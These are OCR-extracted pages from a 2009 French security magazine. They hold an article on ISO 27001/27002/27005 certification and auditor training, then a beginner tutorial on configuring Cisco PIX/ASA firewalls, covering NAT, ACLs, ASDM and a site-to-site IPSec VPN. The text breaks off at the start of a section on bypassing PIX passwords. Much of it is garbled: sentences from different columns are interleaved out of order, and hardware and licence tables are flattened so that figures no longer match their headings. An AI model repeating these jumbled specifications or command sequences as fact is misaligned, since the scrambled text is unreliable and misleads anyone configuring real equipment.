menaces. elle vient répondre aux pré requis de Health Insurance Portability and Accountability Act (HIPAA). . Les entreprises doivent être conscientes de la nécessité Nous ne pouvons pas répondre exhaustivement mais de plus en plus d’entreprise s'intéresse à cette norme. niveaux de gravité) Identification des risques (identification des actifs. Cette nouvelle certification aide à placer les entreprises en position de force pour saisir les opportunités sur le marché. moyenne ou micro entreprise.. critères acceptation. cette norme est utilisée pour mettre en œuvre un cadre de conformité à la loi Sarbanes-Oxley. ISO 27001 connaît un essor depuis 2008.ISO 27001 à un processus de sécurité ayant une forte visibilité internationale.. collaborateurs et partenaires. dans le monde francophone nous sommes en retard mais cela devrait s'arranger au fil des mois. Si elle ne révolutionne pas fondamentalement les processus internes et permis de les rationaliser significativement. Pour les entreprises cotées en bourse aux ETATS-UNIS. ISO 27001 et ISO 27002 est une référence de bonnes pratiques en matière de sécurité de l’information. La certification ISO 27001 peut devenir un impératif dans des appels d'offres. ces entreprises peuvent développer un système de gestion intégrant efficacement les exigences de chaque référentiel de Établissement du contexte (échelles des dysfonctionnements. qui connaît une forte demande pour les services informatiques et l´infogérance..). Voici la démarche proposée par l'ISO 27005 1/2009 HAKIN9 45 Surveillance Appéciation risques acceptables et Non réestilation relative des Estimation des risques (gravité des risques résultants démarche qualitative ou quantitative) risques . Dans le secteur de la santé. Dans l’administration publique au Maroc. La mise en œuvre de solutions de sécurité peut engendrer des économies substantielles et contribuer à améliorer la productivité de l'entreprise. comme ISO 9000 et ISO 14000. fournisseurs. gestion ISO et donc d´offrir un service de premier ordre aux parties intéressées (clients. de protéger et de sécuriser leur capital informationnel de celui de leurs clients. la très grande majorité des Responsables Sécurité de l'information (RSI ou RSSI) l'auront alignée sur le principe de la norme ISO 27001. Cette norme est destinées à tout organisme. Cette certification ISO 27001 est un moyen essentiel pour que les entreprises prouvent leur implication dans ce domaine. investisseurs. partenaires. collaborateurs. Cette certification va tout à fait dans le sens de la volonté des entreprises en apportant une fiabilité optimale aux clients... Certains iront même jusqu'à viser la certification. collaborateurs. En outre. vulnérabilités et des impacts) risques aux Évaluation des risques (classification de risques par niveau d'acceptabilité) Communication Oui Traitement des risques (sélection des mesures de sécurité ou évitement. parce qu’on peut bien certifier un grand compte qu'une petite. un processus (une unité organisationnelle par exemple). bon nombre d'entreprises remettent à plat leur politique de sécurité de l'information ou réalisent des audits sécurité et d’ici quelques années. Au Maroc. Quel est son intérêt ? Jusqu'à quel point les entreprises s’intéressent à cette norme ? Les entreprises certifiées ISO 27001 montrent qu’elles ont appréhendé la dimension mondiale du problème de la sécurité de l’information. même pour le moment.. La mise en place du SMSI au sein des organismes leur permettront tout d’abord de corriger des failles dans la sécurité de l’information pouvant provoquer une escalade de pertes financières et désorganiser leurs opérations. ISO 27001 permet de développer la compétitivité des entreprises sur le marché. un site. ISO 27001 étant compatible avec d´autres normes que la majorité des entreprises appliquent déjà.. Actuellement.) Risques résiduels acceptable Non Oui Acceptation du portefeuille des risques résiduels Synthèse du processus de management des risques (selon ISO 27005) Figura 1. les entreprises ne jugent pas encore la certification ISO 27001 comme une priorité absolue. L’important est d’arrêter le scope de la certification qui peut être une filiale. transfert.

MEHARI et MARION du CLUSIF pour la France ou encore CRAMM pour l'Angleterre. précise que la sensibilisation est une exigence obligatoire. partenaire. mesurer les performances des processus par rapport à la politique. fournisseur. • • • Tableau 1. collaborateur. et participer au développement de la confiance dans les activités entre organismes. les mesures. tout en étant utilisable de manière indépendante. par les actions et processus nécessaires. La présente Norme internationale est prévue comme base commune et ligne directrice pratique pour élaborer les référentiels de sécurité de l’organisation. une organisation ne peut pas exclure la mise en œuvre d’un programme de sensibilisation et indiquer la clause A. Des méthodes de gestion des risques existent dans chaque pays. les processus et les procédures du SMSI. mettre en œuvre les pratiques efficaces de la gestion de la sécurité. Check. Elle applique à la gestion des risques le cycle d'amélioration continue PDCA (Plan.2. ou d'autres informations pertinentes. Par exemple. Une organisation qui demande la certification doit se soumettre obligatoirement à toutes les clauses (4 à 8) et déclarer les contrôles applicables dans la Dda (Déclaration d'applicabilité) ou SOA (Statement of applicability). les résultats de sécurité de l’information satisfont ces exigences et ces attentes.FOCUS Les thèmes abordés par l'ISO 27001 ISO27001 adopte le modèle de processus Planifier-Déployer-Contrôler-Agir (PDCA) ou roue de Deming qui est appliqué à la structure de tous les processus d’un SMSI. Cette Norme internationale établit des lignes directrices et des principes généraux pour préparer. Les utilisateurs de la présente Norme internationale doivent se reporter à l'Annexe A comme point de départ de sélection des mesures de sécurité. La norme ISO 27005 est un guide expliquant la démarche de gestion des risques pesant sur les Systèmes d'Information. Agir (mise à jour et amélioration du SMSI): Entreprendre les actions correctives et préventives. Management du système de sécurité : • Planifier (établissement du SMSI): Établir la politique. Voir Tableau 1 Au moins 25 mesures de contrôle de l’annexe A ont un caractère obligatoire car elles sont liées avec les clauses 4 a 8 de la norme ISO 27001 qui sont des pré-requis de la norme. elle contient une liste complète d'objectifs de sécurité et des mesures de sécurité qui se sont révélés communément appropriés aux organismes.2. elle devient ISO 27002 afin d’être intégrée à la famille ISO 27000. Onze sections de la Norme ISO27002 A5 A6 A7 A8 A9 A 10 A 11 A 12 A 13 A 14 A 15 46 La politique de sécurité L’organisation de la sécurité de l’information La gestion des actifs La sécurité des ressources humaines La sécurité physique et environnementale La gestion des communications et des opérations Le contrôle d’accès L’acquisition. mais celle-ci décrit les grandes étapes classiques de la gestion des risques des Systèmes d'Information. le 4 juin 2008. L'ISO 27005 est en réalité une synthèse de toutes ces méthodes. Act) utilisé dans toutes les normes de systèmes de management. les objectifs. L'ISO 27005 n'est pas une méthode. Do. En 2007. afin de s'assurer qu'aucune option importante de sécurité n'est négligée. ISO 17799 est un guide de bonnes pratiques pour le management de la sécurité de l’information. mis en œuvre pour répondre aux exigences identifiées par une évaluation du risque selon différente méthode (ISO27005*. pour une amélioration continue dudit système.2. ISO27002 : Objectifs de contrôle et contrôles Révisée en 2005.8. entretenir et améliorer la gestion de la sécurité de l’information au sein d’un organisme. En l'occurrence. investisseur). elle définit : • • L'identification et la classification des actifs. La norme ISO 27005 propose une méthodologie de gestion de risques conforme à la norme ISO 27001. les processus et les procédures du SMSI relatives à la gestion du risque et à l'amélioration de la sécurité de l'information de manière à fournir des résultats conformes aux politiques et aux objectifs globaux de l'organisme. la première norme de gestion des risques de la Sécurité des Systèmes d'Information : l'ISO 27005: 2008. aux objectifs et à l'expérience pratique et rendre compte des résultats à la direction pour réexamen. Octave. …). sur la base des résultats de l'audit interne du SMSI et de la revue de direction. Mehari. mettre en œuvre. L'identification des menaces potentielles.2. Ebios. nous pouvons citer EBIOS de la DCSSI. Les objectifs et mesures décrits dans la Norme ISO27002 sont destinés à être ISO27005 ISO (International Standard Organisation) a publié. Contrôler (surveillance et réexamen du SMSI): Évaluer et. Les objectifs tracés dans la présente Norme internationale fournissent une orientation générale sur les buts acceptés communément dans la gestion de la sécurité de l’information. le cas échéant. le développement et l’entretien des systèmes d’information La gestion des incidents de sécurité de l’information La gestion de la continuité des affaires La conformité HAKIN9 1/2009 . Ce dernier utilise comme élément d'entrée les exigences relatives à la sécurité de l'information et les attentes des parties intéressées (Client. Déployer (mise en œuvre et fonctionnement du SMSI): Mettre en œuvre et exploiter la politique. non applicable car la clause 5. ISO27002 est l'Annexe A de la norme ISO 27001.

ISO 27001
• • • Leurs probabilités de survenance, L'évaluation de la gravité des risques en fonction des valeurs des actifs, Le choix de traitement des risques... En cas d’échec, un étudiant peut se réinscrire à un examen, sans fraist. De plus, il peut se réinscrire gratuitement à une deuxième séance de formation du même cours. • • Participation à des forums et à des associations professionnelles Formations

Préparation à l'examen ISO27001

Les participants sont évalués de deux manières : • Une évaluation en continu qui prend en compte les résultats des exercices et des devoirs. Un examen final (à l’écrit).

Conditions d'éthique et d'expérience

Les auditeurs doivent respecter les principes fondamentaux suivants : L'indépendance : • C’est la base de l'impartialité et de l'objectivité de l'audit ainsi que des conclusions de l’audit. L'indépendance est la liberté face à l'interférence. C'est l'assurance de l'impartialité et de l’objectivité de l’audit. Quand les auditeurs sont indépendants, ils devraient donner des jugements impartiaux. L'indépendance des auditeurs est également garantie par l‘indépendance de l’organisme certificateur, non par l'audité, et le respect du code de conduite de l’IRCA ou du RABQSA (révélation de tous rapports avec l'audité, non acception de cadeaux…).

Les étudiants doivent réussir chacun les éléments du cours. Pour réussir, un étudiant doit réussir l'évaluation continue et l'examen final, et compléter tous les modules du cours. Les étudiants doivent manifester des niveaux de performance acceptables dans l’étude des objectifs présentés au cours. On jugera leur performance sur la base des exercices et des résultats des devoirs, des discussions, de leur participation et de leur rétroaction. Pour ISO 27001 Lead Auditor, les participants seront évalués selon trois unités de compétences: • • • Sécurité de l’information (IS) Techniques d’audits (AU) Techniques d’auditeur principal (TL)

Pour ISO 27001 Lead Implementer, Les participants seront évalués selon trois domaines de compétences : • • • Sécurité de l’information (IS) Amélioration des organisations (OI) Conseil a la direction (MC)

Le certificat delivré est valide pour 3 ans à partir du dernier jour de la formation. Ce délai ne tient pas compte de la date de l’examen final et permet à l’étudiant de se faire enregistrer en tant qu’auditeur certifié auprès du RABQSA ou IRCA. En cas d’échec au passage de l’examen ou de l’évaluation continue (mais ayant satisfait la condition de présence), l’étudiant recevra une attestation de présence. Cette attestation n’est pas acceptée par l'organisme de certification d'auditeur (IRCA, RABQSA).

La certification RABQSA ou IRCA peut aider à maximiser le potentiel de carrière et à atteindre les objectifs professionnels. Si un certifié postule pour un emploi, la certification fournit la preuve de la compétence et des qualifications. La certification RABQSA ou IRCA est la reconnaissance formelle des compétences personnelles dans l’amélioration de la performance des organisations en termes d’efficacité, d’efficience et de compétitivité. D’après les enquêtes annuelles de salaire publiées par le magazine Quality Progress, les auditeurs certifiés de systèmes de management ont un salaire moyen considérablement plus élevé que leurs homologues non certifiés. Un accord bilatéral avec l’IRCA, Londres, Milwaukee et Sydney, 1 juin 2006 l’IRCA et la RABQSA International ont signés un accord bilatéral qui permet la reconnaissance mutuelle de leurs certifications de formations. Les deux organismes s’engagent à effectuer une série d’évaluations qui permettra l’identification des formations qui pourront être certifiées et acceptées par les deux organismes. Ces formations et celles à venir seront ajoutées à une liste de certificats acceptés mutuellement qui sera rendu public. ISO27001 est reconnu mutuellement. Une amélioration professionnelle continue est une exigence de l’IRCA et du RABQSA, cela est nécessaire pour garder la certification. CPE Continual Professional Education est une amélioration continuelle des compétences, des connaissances et des capacités en audit. L’auditeur doit démontrer qu’il a suivi au moins 45 heures de CPE lors des 3 dernières années. Les heures de CPE doivent se rapporter à l’audit et au SMSI. Différentes façons de faire existent : • • Recherches Rédaction d’articles

Indépendance d’esprit : • L'état d’esprit qui permet l'expression d'une conclusion sans qu’elle soit affectée par des influences pouvant compromettre le jugement professionnel. Cet état d’esprit permet à un individu d'agir avec l'intégrité, l'objectivité et le scepticisme professionnel.

L’apparence d’indépendance : • Eviter toute action (fait ou circonstance) qui serait perçue par une tierce partie raisonnable et informée (ayant connaissance de toute l’information appropriée) comme un manque d’intégrité, d’objectivité ou de scepticisme professionnel de la part d’une organisation ou d’un de ses membres.

Conclusion

La mise en œuvre du SMSI engendrera des économies substantielles et contribuera à améliorer la productivité de l'entreprise.

Karim Hamdaoui

Directeur Général du Cabinet LMPS Consulting Expert en sécurité de l’information (ISO 27001 Lead Auditor IRCA : 01 194481, ISO 27001 Lead Implementer & ISO 20000 Lead Implementer). L'auteur peut être contacté à l'adresse : contact@lmps-consulting.com 1/2009 HAKIN9 47

PRATIQUE
ALEXANDRE CHAIGNEAU

Débuter
avec un pare feu Cisco
Les pare-feux Cisco délivrent aux entreprises une gamme de produits fournissant des accès distants dans une solution sécurisée, ajustable et robuste.

Degré de difficulté

L
• • •

e paragraphe situé a la suite correspondant pour moi aux objectifs de cet ar ticle et devrait peut etre se trouver dans un cadre au début de l’ar ticle. En ef fet, l’insérer a cet endroit fait perdre en cohérence. Pare feu à gestion d'état basée sur le state-ofthe-art Adaptive Security Algorithm (ASA), Le support de plus de 100 applications prédéfinies, services et protocoles pour des contrôle d'accès flexible, Les fonctions de réseau privé virtuel (VPN) pour les accès distants utilisant les standard IKE / IPSec, Une protection contre plus de 55 différentes attaques de réseau, Le filtrage d'URL pour le trafic sortant.

pare-feux Cisco. Comme la plupart le savent déjà un pare-feu est un élément logiciel et/ou matériel qui a pour fonction de faire respecter la politique de sécurité du réseau, celle-ci définissant quels sont les types de communication autorisés et interdits.

À propos des pare-feux Cisco

CET ARTICLE EXPLIQUE...
Présentation de la gamme Cisco PIX et ASA. Configurer un Cisco PIX/ASA. Mettre à jour l'IOS d'un PIX/ASA.

CE QU'IL FAUT SAVOIR...
Bonne connaissance des protocoles TCP/IP. Compréhension des mécanismes des pare-feux. Compréhension des systèmes NAT/PAT, DMZ, et RFC 1918. Notion des fonctionnements VPN IPSec. 48 HAKIN9 1/2009

Faire connaissance avec les pare-feux Cisco, les différentes manières de configurer son pare-feu, soit par l'interface graphique, soit par la traditionnelle interface en ligne de commande. Réaliser une configuration de base du système avec une interface WAN et une interface LAN. Mettre en place une connexion VPN entre deux sites. Et enfin comment procéder à la mise à jour de l'IOS afin d'étendre les possibilités de notre pare-feu.

Chez Cisco, il existe différentes solutions de sécurité, nous allons nous intéresser au PIX/ASA. Tout d'abord, il faut savoir que les Pix n'ont pas été conçu à l'origine par Cisco. En effet, les PIX furent créées par la société Network Translation Inc. Cette entreprise a été racheté par Cisco en 1995. Cisco a néanmoins poursuivi le développement des Pix et notamment l'intégration de son système d'exploitation bien connu des amateurs de routeurs : l'IOS (Internetwork Operating System). La version la plus répandue de l'IOS sur la gamme des PIX est la version 6.x. Début 2005, Cisco a lancé une nouvelle gamme de pare-feux en vue de remplacer les PIX avec du matériel plus puissant et des fonctionnalités plus poussées. Cette nouvelle gamme de produit est la gamme ASA (Adaptive Security Appliance). Il existe différentes version de l'IOS destiné aux PIX et aux ASA : • • • Pre 5.X : antérieure à l'acquisition de Network Translation par Cisco, 5.X et 6.X : premières versions qui font suite à la fusion synthaxique avec Cisco IOS, 7.X : dernières versions pour les PIX qui correspondent à la sortie de la gamme Cisco ASA. Ces versions contiennent un binaire

Introduction

Dans cet article nous allons nous intéresser au pare-feu, et plus particulièrement à la famille des

DÉBUTER AVEC UN PARE FEU CISCO
exactement identique à celui des PIX mais sont conçues pour du matériel plus récent et plus puissant. d'interface et de RAM supporté par la plateforme, Active / Standby failover : Permet d'utiliser les fonctions de failover (haute disponibilité en cas de panne) avec deux pare-feux en plaçant l'un en fonction et l'autre en attente (pas de répartition de charges), Active / Active failover : Permet d'utiliser les fonctions de failover et également celles des répartitions de charges entre deux équipements.

Matériel

Voici le tableau récapitulatif des différences de matériel entre les principales versions des PIX et ASA. Vous pouvez observer sur la Figure 1 l'intérieur d'un ASA 5505 (Tableau 1).

Logiciel

Figure 1. ASA5505 vue de l’intérieur pare-feux à états vérifient la conformité des paquets d'une connexion en cours. Pour ce faire, ils vérifient que chaque paquet d'une connexion est bien la suite du précédent paquet et la réponse à un paquet envoyé. Ainsi, lors de l'envoi d'un paquet TCP, les règles de filtrage seront inspectées et si l'envoi est autorisé, alors la réponse sera attendue et automatiquement acceptée sans avoir à spécifier une règle de filtrage pour l'acceptation de la réponse. Ce type de pare-feu, plus performant permet une gestion simplifiée des règles de filtrage. Access-list (Access Control

Voici un tableau récapitulatif des capacités des différentes versions du PIX (Tableau 2).

Licence

Il existe différentes licences d'utilisation disponibles pour la gamme PIX/ASA. Certaines fonctionnalités ne seront donc accessible que si vous disposez de la licence adéquate. Voici un rapide tour d'horizon des licences disponibles : • Restricted : Limite le nombre des interfaces supportées ainsi que la capacité en RAM, Unrestricted : Autorise l'installation et l'utilisation du nombre maximum

Tableau 3 comparatif des licences Restricted et Unrestricted pour les PIX. Important : Les licences Restricted, Unrestricted et Failover ne sont disponibles que pour les versions 515E, 525 et 535.

Configurer son pare-feu PIX/ASA

Il existe différents types de pare-feux, ceux sans gestion d'états, à gestion d'états, applicatifs. Les PIX/ASA sont des pare-feux à gestion d'état. Les protocoles comme TCP introduisent une notion de connexion. Les

Tableau 1. Comparatif matériels entre les différents PIX et ASA Date de commercialisation PIX 501 PIX 506E PIX 515E PIX 525 2001 2002 2002 III 2000 III PIX 535 2000 IV ASA 5505 ASA 5510 ASA 5520 ASA 5540 2005 2005 2005 2005 IV ASA 5550 2006 IV
1/2009 HAKIN9 49

Type CPU

Fréquence CPU

Quantité de RAM 16 MB 32 MB 64 MB

Quantité de mémoire flash 8 MB 8 MB 16 MB

Nombre d'interface maximum 2 2 6

AMD 5x86 Intel Celeron Intel Pentium

133 Mhz 300 Mhz 433 Mhz

Intel Pentium

600 Mhz

128 MB

16 MB

10

Intel Pentium

1 Ghz

512 MB

16 MB

14

AMD Geode Intel Celeron Intel Celeron Intel Pentium

500 Mhz 1.6 Ghz 2 Ghz 2 Ghz

256 MB 256 MB 512 MB 1024 MB

64 MB 64 MB 64 MB 64 MB

3 50 150 200

Intel Pentium

3 Ghz

4096 MB

64 MB

250

PRATIQUE
List ) : Une Access Control List ou ACL est une liste de contrôle sur un pare-feu autorisant ou non une liste d'adresses ou de ports. Il existe plusieurs familles d'ACL : • ACL standard : permet de contrôler l'adresse de destination avec une IP et un masque, ACL étendue : permet notamment de contrôler l'adresse IP de destination, le masque, le type de protocole (TCP, UDP, ICMP...), le port source et celui de destination. Afin de commencer, nous allons utiliser le câble console pour accéder à la configuration en ligne de commande (CLI). Pour ce faire, utilisez l'hyperterminal. Le paramétrage de l'hyperterminal pour accéder à la configuration doit être : • • • • • Bits par seconde : 9600, Bits de donnée : 8, Parité : Aucun, Bits d'arrêt : 1, Contrôle de flux : Aucun.

Notes
• • • [1] Possibilité de créer des pare-feux virtuels au sein d'un même appareil, [2] http://www.chiark.greenend.org.uk/ ~sgtatham/putty/download.html, [3] https://tools.cisco.com/SWIFT/ Licensing/jsp/formGenerator/ Pix3DesMsgDisplay.jsp.

Configuration avec l'interface en ligne de commande :
Pré-requis :

Ordinateur avec port série Câble console COM-RJ45 Logiciel d'émulation (Hyperterminal) PIX515E avec 16 MB de flash et 64 MB de RAM ou ASA série 5500 (voir figure 2)

Cisco IOS v7.0 ou supérieur

Une fois raccordé, vous pouvez allumer le pare-feu et suivre le chargement de l'IOS. Une fois le chargement terminé, vous pouvez vous connectez à l'aide du mot de passe par défaut : cisco. Vous entrerez ainsi dans le mode non privilégié dans lequel vous ne pourrez faire que de la consultation avec la commande show. Afin d'obtenir la liste des commandes disponibles dans ce mode, utilisez la commande ? Pour obtenir de l'aide sur une commande particulière ajouté le point d'interrogation à la suite de la commande. Par exemple, si vous souhaitez

Tableau 2. Comparatif des capacités des PIX PIX 501 Nombre de connexion simultanée Bande passante 7500 60 Mbps 0 Non 10 6.3(x) PIX 506E 25 000 100 Mbps 2 Non 25 6.3(x) PIX 515E PIX 525 PIX 535 500 000 1,7 Gbps 150 50 2000 7.x

130 000 280 000 188 Mbps 25 5 2000 8.x 330 Mbps 100 50 2000 7.x

Nombre de Vlan MAX Context [1] Nombre de connexion VPN simultanée Version maximum de l'IOS

Tableau 3. Comparatif des licences Restricted et Unrestricted pour les PIX Type de licence PIX 515E Restricted Unrestricted PIX 525 Restricted Unrestricted PIX 535 Restricted Unrestricted
50 HAKIN9 1/2009

Interfaces physique 3 6 6 10 8 14

VLANs 10 25 25 100 50 150

Contexts Mémoire Non 5 Non 50 Non 50 64 128 128 256 512 1024

Failover Non Oui Non Oui Non Oui

connaître les arguments de la commande show, vous pouvez faire show ? Comme notre système est fraichement déballé et allumé, nous n'avons pas grand chose à visualiser, nous allons donc passer en mode privilégié avec la commande enable. Par défaut, il n'y a pas de mot de passe pour atteindre ce mode. Remarquez que le signe # est venu s'ajouter à la fin du prompt afin de visualiser que vous vous trouvez en mode privilégié. Nous pouvons maintenant effectuer des opérations de copie, de visualisation des connexions en cours ainsi que les opérations permises dans le mode précédent et surtout entrez dans le mode de configuration. Pour ce faire, tapez configure terminal. Le prompt va changer de nouveau pour devenir (config)#. Maintenant rentrons dans le vif du sujet et paramétrons notre système. Nous allons réaliser une configuration simple avec un réseau interne que nous nommerons inside et un réseau externe outside. Nous n'utiliserons donc que deux interfaces sur notre PIX/ASA. La Figure 3 présente le schéma réseau de la configuration. Pour commencer, nous allons attribuer à chaque interface son adresse IP et configurer l'accès SSH à notre PIX/ASA depuis le LAN. Un show version vous affichera la configuration du matériel et du logiciel de votre système et nous permettra de trouver le nom des interfaces. Nous disposons maintenant de nos interfaces interne (inside) et externe (outside) ayant chacune leur adresse IP et masque de sous réseaux configurés. Les niveaux de sécurité définissent les échanges autorisés implicitement. En effet, toute communication d'une interface d'un niveau vers une interface de niveau inférieure est autorisé, l'inverse est interdit. Ainsi, la communication de l'interface inside vers l'outside est autorisé. Nous aurions pu dans le cas d'utilisation de trois interfaces ajouter une interface DMZ avec un niveau 50 qui aurait permit depuis celle-ci

DÉBUTER AVEC UN PARE FEU CISCO 1/2009 HAKIN9 51 .

mais utiliser SSH à la place de Telnet est une bonne habitude à prendre. Tous les caractères sont acceptés mais les mots de passe ne doivent pas dépasser seize caractères. il est possible d'activer l'affichage dans la console ainsi que sur un serveur syslog. Afin d'assurer la sécurité du système. La configuration ne permet cependant pas de joindre le réseau externe depuis les machines du réseau interne.x.0 l'outil ADSM (Adaptive Device Software Manager).1. une simple copie depuis un serveur tftp sera suffisante (Listing 2).168. L'enregistrement de la configuration s'effectue après être sorti du mode configuration ((config)#) avec la commande exit et retourné en mode privilégié (#) avec write memory. Les commandes static permettent d'effectuer la translation d'adresse pour joindre les serveurs depuis le réseau externe. utiliser les commande passwd et enable password après être entré en mode configuration configure terminal. En effet.0) nécessitera le câble console afin d'entrer en mode de configuration Monitor. Détaillons toute les étapes à effectuer Listing 1.1.10 192. Mais les niveaux de sécurité des interfaces ne permettent pas la communication de l'outside vers l'inside comme nous l'avons expliqué auparavant. Pour ce faire.2(4) de l'IOS nécessitera la version 5. Nous appellerons cette access list acl-outside.168. il est impératif de configurer les mots de passe. • Si votre IOS est en version 6. Enfin. Configuration avec l'interface graphique Cisco ASA 5505 Blue console cable Power supply adapter Nous avons vu comment démarrer et configurer son pare-feu par l'intermédiaire de la ligne de commande. Schéma réseau de l’installation de base 52 HAKIN9 1/2009 Une fois que vous aurez téléchargé les binaires nécessaires sur le site de Cisco. il exite une interface graphique nommé PDM (PIX Device Manager) pour les versions IOS < 7.1.168. il faut installer la version d'ADSM correspondant à votre version d'IOS. La commande logging définit les options de logs et l'adresse du serveur syslog sur le réseau local.168.15 FTP Server 192. l'accès aux différents serveurs avec pour chacun une adresse différente.0/24 Gateway Router Figure 3. ASA5505 fraîchement déballé et ses accessoires 192.1.1.168. Il est facile de vérifier que l'accès SSH fonctionne en utilisant un logiciel tel que Putty [2]. Les commandes global et nat permettent de réaliser ces opérations. Les machines du réseau local peuvent maintenant surfer sur internet.1. mais une fois la configuration initiale effectuée.0/24 Pix 10. Le nom de l'appareil doit également être fixé à l'aide de la commande hostname. il faut également définir la route par défaut sur cette interface. Elle permettra de joindre notre serveur web sur le port 80. En effet. notre serveur ftp sur le port 21 et le serveur smtp.0 ou depuis l'IOS 7. Et enfin. Reste à réaliser ces quelques opérations et à vérifier que tout fonctionne.4 Mail Server 192. Nous devons donc explicitement fournir les règles nécessaires pour autoriser ces accès. Afin de faciliter la correction d'erreur et de visualiser les messages du système. vous disposez d'un outil pour configurer votre pare-feu à l'aide d'une interface graphique. Pour ce faire. la route indique l'adresse afin de joindre la passerelle. Il est possible de configurer l'accès à l'appareil en Telnet de la même manière que pour le SSH. nous avons généré les clés RSA nécessaires au fonctionnement de SSH. Pour ce faire.PRATIQUE de joindre l'outside et d'être jointe depuis l'inside. vous pourrez les installer sur votre pare-feu. Et voici ! ASDM est maintenant installé (voir Figure 4) et configuré pour fonctionner.1.1 Outside Gateway Internet Clients Web Server 192. une translation d'adresse du réseau externe vers le réseau interne est nécessaire. Une version 7. FTP et mail doivent également être joignable depuis le réseau Internet. il va falloir réaliser une translation de port après avoir déclaré le pool à utiliser.1. Vous pouvez l'utilisez à partir de votre navigateur à l'adresse : https://ip_lan_firewall . Pour ce qui est des IOS 7 et supérieur. mais nos serveurs Web.3 par exemple alors PDM doit être en version 3. La commande accessgroup indique qu'il faut utiliser l'access list acl-outside sur l'interface externe. Il est à noter que l'installation de PDM (donc IOS<7. Pour ce faire.1.2(4) de l'ADSM. Comme l'interface outside sera notre porte d'accès à internet.1 Inside 10. Cable (US shown) Yellow Ethernet cable • Documentation Figure 2. l'utilisation d'une ACL s'impose. Nous disposons maintenant d'un appareil en état de fonctionnement avec une configuration simple de quelques lignes. L'ACL acl-outside va ainsi permettre les réponses aux requêtes ping.

1. Les détails et les informations sont disponible sur la Figure 6. Listing 1. Voici le listing des commandes que nous détaillerons par la suite (Listing 3).1.0.255.2.0.5 eq ftp logging enable logging buffered errors logging trap notifications logging host inside 192.1.255. Tout d'abord.1.1. il sera nécessaire de réaliser une exception (ACL) dans le NAT afin que les paquets provenant du réseau local ne soit pas translatés vers le réseau externe. Il est possible de réaliser une connexion sécurisée à travers un réseau public comme internet et de garantir l'authenticité et la confidentialité des informations échangées. d'authenticité. La technologie IPSec et les capacités des PIX/ASA vont nous permettre de réaliser tout cela. des serveurs et informations de celles-ci.0 0 0 global (outside) 1 interface static (inside.1.1 1 Réaliser une connexion sécurisée entre deux sites (Tunnel VPN) Il est fréquent que les entreprises se trouvent partagées sur plusieurs sites géographiques.0 exit ssh timeout 15 ssh 192. La commande sysopt autorise l'utilisation du protocole IPSec.0.1.outside) 10. etc.1. Algorithme de chiffrement et d' authenticité.168.220 nat (inside) 1 192.168.4 eq smtp access-list acl-outside permit tcp any host 10.1.168.1 255.0 0.1.168.1.0 255.4 192.168.168.198.10 netmask 255.0.255.255 static (inside.1.DÉBUTER AVEC UN PARE FEU CISCO et configurer le pare-feu.1.255.15 netmask 255.1. Écran de lancement d’ADSM 1/2009 HAKIN9 53 .255. le mode de fonctionnement de la connexion (tunnel).255 access-group acl-outside in interface outside route outside 0.255.3 eq www access-list acl-outside permit tcp any host 10.168.255.255.1.69. Nous définissons ensuite la durée de vie de l'association en seconde.1.0 inside crypto key generate rsa access-list acl-outside permit icmp any any echo-reply access-list acl-outside permit icmp any any time-exceeded access-list acl-outside permit icmp any any unreachable access-list acl-outside permit tcp any host 10.3 192.4 netmask 255.255.1. ici une heure. Une règle (ACL) permettant l'envoi des paquets dans le tunnel VPN sera également nécessaire.168.255.1.255.255.0 et la destination 192.1.1.255 static (inside.1.outside) 10. La première ACL indique le trafic à envoyer dans la liaison VPN. La transform-set correspond au paramètre de transmission des paquets IPSec : • • Encapsulation (tunnel) ou ajout d'un en-tête (header).outside) 10.5 192. L'instruction nat (inside) 0 access-list nonat applique l'exception définit par l'ACL NONAT dans le NAT.255. en utilisant les outils de gestion et de tests tel que packet-tracer (voir Figure 5).0 255. Le problème est que les filiales sont alors isolées du siège de l'entreprise.1. Les différents paramétres sont ensuite Figure 4. Commande à effectuer pour la configuration de base show version interface Ethernet0 nameif outside security-level 0 ip address 10. La deuxième précise de ne pas translater les paquets lorsque la source est le réseau 192.0. Avec la configuration que nous allons présenter il sera possible pour n'importe quelle machine de la filiale de joindre les machines et serveur du siège et vis versa.0 204.0 exit interface Ethernet1 nameif inside security-level 100 ip address 192.1 255.168. La réalisation du VPN imposera de choisir les algorithmes de chiffrement.255.

La crypto map est ensuite appliquée à l'interface outside sur laquel les connexions seront établies.1 Que faire en cas de perte de configuration et mot de passe Internet ASA siège Siège de l'entreprise 192. À noter qu'il est nécessaire de configurer de la même manière l'autre ASA situé dans la filiale en inversant les adresses sources et destinations dans les access-list VPN-Filiale et NONAT. Tout d'abord.bin ciscoasa(config)# asdm location IP_Autorisé Masque inside ciscoasa(config)# exit ciscoasa# write memory plusieurs connexions VPN simultanées. Vous pouvez vérifier la présence et l'état de la communication grâce aux commandes show crypto isakmp sa et show crypto ipsec sa . Installation d’ADSM Installez l'ADSM pour une version 7.bin flash:adsm-724.168. connectez vous sur le système en mode de configuration puis entrez le numéro de licence avec la commande : activation-key xxxxxxxx Figure 5.2. tout simplement parce que la fonction n'est pas activée. Tout d'abord Figure 6. Une fois le numéro de licence obtenu. Vous pouvez définir Listing 2. L’outil packet-tracer ######## aaaaaaaa bbbbbbbb 192.2.PRATIQUE appliqués à la réalisation d'une connexion IPSec (crypto map).0 /24 Dans cette partie nous allons voir comment contourner les problèmes de perte de mot de passe ou en cas de situation de blocage suite à un problème de configuration AAA sur les Cisco PIX et ASA.1 10.1 ASA filiale finale de l'entreprise 192. Vous pouvez comparez avec le Listing 4 les sorties de débuguages lors de l'établissement de la connexion.168. Dans le cas où la fonction n'aurait pas été activée. voici la procédure afin de corriger cela.168.1. Pour tester la connexion.1.1. Mise à jour pour chiffrement VPN en 3DES / AES Il est possible que votre PIX/ASA n'est pas la possibilité d'utiliser le cryptage 3DES et AES pour vos connexions VPN.bin ciscoasa(config)# adsm image flash:/asdm-524.1 192. Schéma de l’interconnexion VPN 54 HAKIN9 1/2009 .2. référez-vous à la première partie de l'article.2.2(4) d'IOS ciscoasa> enable Password: *********** ciscoasa# configure terminal ciscoasa(config)# copy tftp://IP_Serveur_TFTP/asdm-724. Compléter l'enregistrement de votre appareil afin d'obtenir un numéro de licence (gratuit). rendez vous à l'adresse [3]. on peut par exemple envoyer un ping d'un réseau vers l'autre. Pour finir nous définissons la politique IKE (isakmp policy) et la clé partagée entre les deux ASA pour l'établissement de la communication. pour savoir combien. Vous pouvez vérifier si la fonction de chiffrement 3DES est activée au moyen de la commande show version .1.168.0 /24 10. Pour un PIX Nous allons voir comment outrepasser les mots de passe d'un PIX.

